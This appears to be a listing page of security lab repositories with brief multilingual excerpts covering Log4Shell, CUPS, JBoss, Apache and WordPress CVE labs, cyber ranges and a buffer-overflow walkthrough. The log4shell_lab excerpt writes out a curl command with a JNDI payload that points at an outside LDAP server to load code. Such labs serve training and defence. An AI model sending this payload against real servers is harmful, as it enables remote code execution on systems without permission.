sheepl

sheepl Sheepl : ラボ環境におけるトレードクラフト開発を支援するための現実的なユーザー動作の作成 はじめに ブルーチームおよびレッドチームのトレードクラフト開発のためにADネットワーク環境を構築する方法に関するリソースはオンラインで多数存在します。しかし、現在のソリューションは現実のネットワーク構成を表現する上で重要な側面が一つ欠けている傾向があります。ネットワークとは単なる静的なエンドポイントの集合ではなく、人々の間のコミュニケーションのプラットフォームなのです。...

Onionscan

onionscan のデプロイ 注意！このリポジトリは https://github.com/s-rah/onionscan のパッチ版であり、hunchly の Google Cloud Shell から実行するように設計されています（ベースラインとして使用された https://github.com/hunchly/funchly/tree/main/onionscan をベースに、ローカルインスタンスにもデプロイできるように変更されています）。 Google Cloud Shell 上の onionscan 1. 無料の Cloud Shell アカウントを取得する:...

CVE-2024-47176

CVE-2024-47176 — CUPS RCE エクスプロイトラボ サイバーセキュリティ & 仮想化 2025-2026 CVE-2024-47176 cups-browsed 経由の CUPS リモートコード実行 を実証するための隔離されたラボ環境。 セットアップ 必要な VDI Ubuntu 22.04 24.04 ではありません! — https://www.osboxes.org/ubuntu/ → VirtualBox VDI Kali Linux 2026.1 —...

Android-rce-analizi

Laboratorio de Investigación de CVE y PoC — Análisis de Seguridad en Android 👨‍🏫 Información del Asesor Nombre Completo| Keyvan Arasteh ---|--- GitHub| @keyvanarasteh Correo electrónico| [email protected] LinkedIn| keyvanarasteh Sitio web| qline.tech 👤 Información del Estudiante Nombre...

CyberRange

概要: このCyberRangeプロジェクトは、世界初のオープンソースのサイバーレンジ設計図です。 このプロジェクトは、AWSクラウドを使用したプライベートリサーチラボで、攻撃、防御、リバースエンジニアリング、セキュリティインテリジェンスのツールを完全に備えたブートストラップフレームワークを提供します。 このプロジェクトには、脆弱なシステムと、ペネトレーションテスター、開発者、マルウェアアナリスト、フォレンジック/リバースエンジニア、スレットハンターなどに知られている最も強力なオープンソース/コミュニティエディションのツールキットが含まれています。 はじめよう...

activemq-cve-2023-46604-lab

此存储库没有 README。...

Stego-Lab

Stego-Lab ステガノグラフィ。EXIF。透かし。デコード。バッチ。 iPhone、iPad、macOS向けのプロフェッショナルな画像プライバシーワークフロー。 Webサイト · GitLab · プロジェクトページ · プライバシーポリシー · プレスキット · サポート · ライセンス Stego-Labの理由 Stego-Labは、通常複数のアプリに分散しているワークフロー（不可視ステガノグラフィ、可視透かし入れ、EXIF編集、デコード、バッチ処理）を1つにまとめます。...

Expression-Sandbox-Escape-Simulation-Lab

🧪 Expression Sandbox Escape – Simulation Lab 一个用于演示 JavaScript 表达式沙箱逃逸与补丁演进 的最小化实验环境。 通过多个版本的 sandbox，实现从： 完全可逃逸 → 修补 this → 再修补 destructuring 同时保留新的绕过方式，帮助理解真实世界中漏洞与补丁的博弈过程。 📦 项目结构 root@kitploit: . ├── payload.js 各类攻击 payload ├── sandboxv0.js 原始易受攻击版本 ├── sandboxv1.js 修复 this 链 ├── sandboxv2.js...

BlueTeam.Lab

BlueTeam.Lab 目的 本项目包含一组 Terraform 和 Ansible 脚本，用于搭建一个编排好的蓝队实验室（BlueTeam Lab）。该项目的目标是为红队和蓝队提供部署临时检测实验室的能力，以便在最新的 Windows 环境中测试各种攻击和取证痕迹，并最终以“类似 SOC”的视角查看生成的数据。 注意：本实验室故意设计为不安全。请勿将此系统连接到您关心的任何网络。 实验室布局 先决条件 您的系统需要安装一些功能才能使用此设置。 root@kitploit: 步骤 1 - 安装 Azure CLI。详情请参阅...

CVE-2021-44228-PoC

Log4Shell CVE-2021-44228 でリバースシェルを実行する自己完結型ラボ環境 PoC これは、Docker Compose を使用して、エクスプロイトを安全に実行する自己完結型のラボ環境です。 影響を受けるバージョンは Apache Log4j =2.0–2.14.1 であり、CVE は CVE-2021-44228 （CVSS スコア: 10.0）として追跡されています。 Apache Log4j を至急バージョン 2.16+ にパッチ適用してください !!! 前提条件 このコードには Docker と Docker Compose が必要です。 説明...

jboss-deserialization

Deserialización Insegura de JBoss a RCE mediante CVE-2017-12149. Deserialización Insegura de JBoss - Laboratorio de Explotación de RCE. La idea aquí es configurar un laboratorio con una versión antigua de JBoss 7.0 para explotar la vulnerabilidad. Podemos usar Docker para facilitar todo el proces...

log4shell_lab

Laboratorio de explotación log4shell Este repositorio es una configuración de una sola línea para el laboratorio de explotación log4shell. Configura el laboratorio: docker-compose up -d Ejecuta el exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Lue...

SVPT_CW_2

CVE-2024-21413 https://github.com/KartheekKandalam99/SVPTCW2 CVE-2024-21413 CW 用セットアップ TRYHACKME がこの脆弱性を扱うためのルームを提供しています。ルームへのアクセスリンクは以下です。 https://tryhackme.com/r/room/monikerlink RDP 経由でルームにアクセスするには、TryHackMe VPN に接続する必要があります。このリンクをクリックして VPN 設定ファイルをダウンロードしてください。 https://tryhackme.com/r/access...

CVE-2019-11043

CVE-2019-11043 CVE-2019-11043 ラボ...

web-hacking-playground

Web Hacking Playground 説明 Web Hacking Playgroundは、制御されたWebハッキング環境です。実際のペンテストやBug Bountyプログラムで見つかった脆弱性で構成されています。目的は、ユーザーがそれらを練習し、検出および悪用する方法を学ぶことです。 また、カスタムペイロードを作成してフィルターをバイパスする方法、さまざまな脆弱性を悪用した連鎖攻撃の実行、概念実証スクリプトの開発など、その他の関心事項も扱います。 重要...

CVE-2021-42013-LAB

CVE-2021-42013-ラボ Apache HTTP Server 2.4.50 - RCE ラボ exploit.sh :- https://github.com/jas9reet/CVE-2021-42013-LAB/blob/main/exploit.sh 使用方法 docker pull jas9reet/cve-2021-42013-lab docker run -dit -p 8088:80 jas9reet/cve-2021-42013-lab 脆弱なアプリケーションへのアクセス VICTIM-IP-ADDRESS :8088 エクスプロイトコマンド bash...

CVE-2026-6875

CVE-2026-6875 ⚡ 簡単な使い方 このプロジェクトは、安全で許可された環境でのみ使用してください。例： ローカル仮想マシン Docker コンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 設定例： root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate...

CVE-2024-1071-Docker

CVE-2024-1071 con Docker 🎯 ¿Quieres practicar con el nuevo CVE de WordPress? Sigue las instrucciones Montar el laboratorio 1. Instala Docker: https://docs.docker.com/get-docker/ 2. Clona el proyecto: git clone https://github.com/Trackflaw/CVE-2024-1071-Docker.git. 3. Ve al proyecto: cd...

CVE-2024-34312

CVE-2024-34312 描述 Virtual Programming Lab for Moodle v4.2.3 及以下版本 被发现通过其 IDE 组件 存在跨站脚本（XSS）漏洞。 更多详情 浏览器直接连接到运行在 jail 服务器上的 websocket。 通过 websocket，jail 服务器可以直接向浏览器发送消息。这些消息由浏览器解析，并由 "executionActions" 处理。 "run:browser" 操作容易受到 XSS 攻击，因为它将 HTML 与不受信任的输入拼接并注入到页面正文中。 这可能会被入侵的 jail 服务器滥用，通过 XSS 在 mood...

CVE-2003-0264_EXPLOIT

CVE-2003-0264EXPLOIT Seattle Lab Mail SLmail 5.5 中的缓冲区溢出 - POP3 基于栈的简单缓冲区溢出（逐步讲解） 1 对应用程序进行模糊测试 首先，我们将使用一个简单的 Spike 脚本对应用程序进行模糊测试 同时，我们也会让 SLmail 附加到 Immunity Debugger 上并运行 更多关于 Spike::https://resources.infosecinstitute.com/topic/intro-to-fuzzing/ 这里是一个名为 spikefuzz.spk 的简单 Spike 脚本...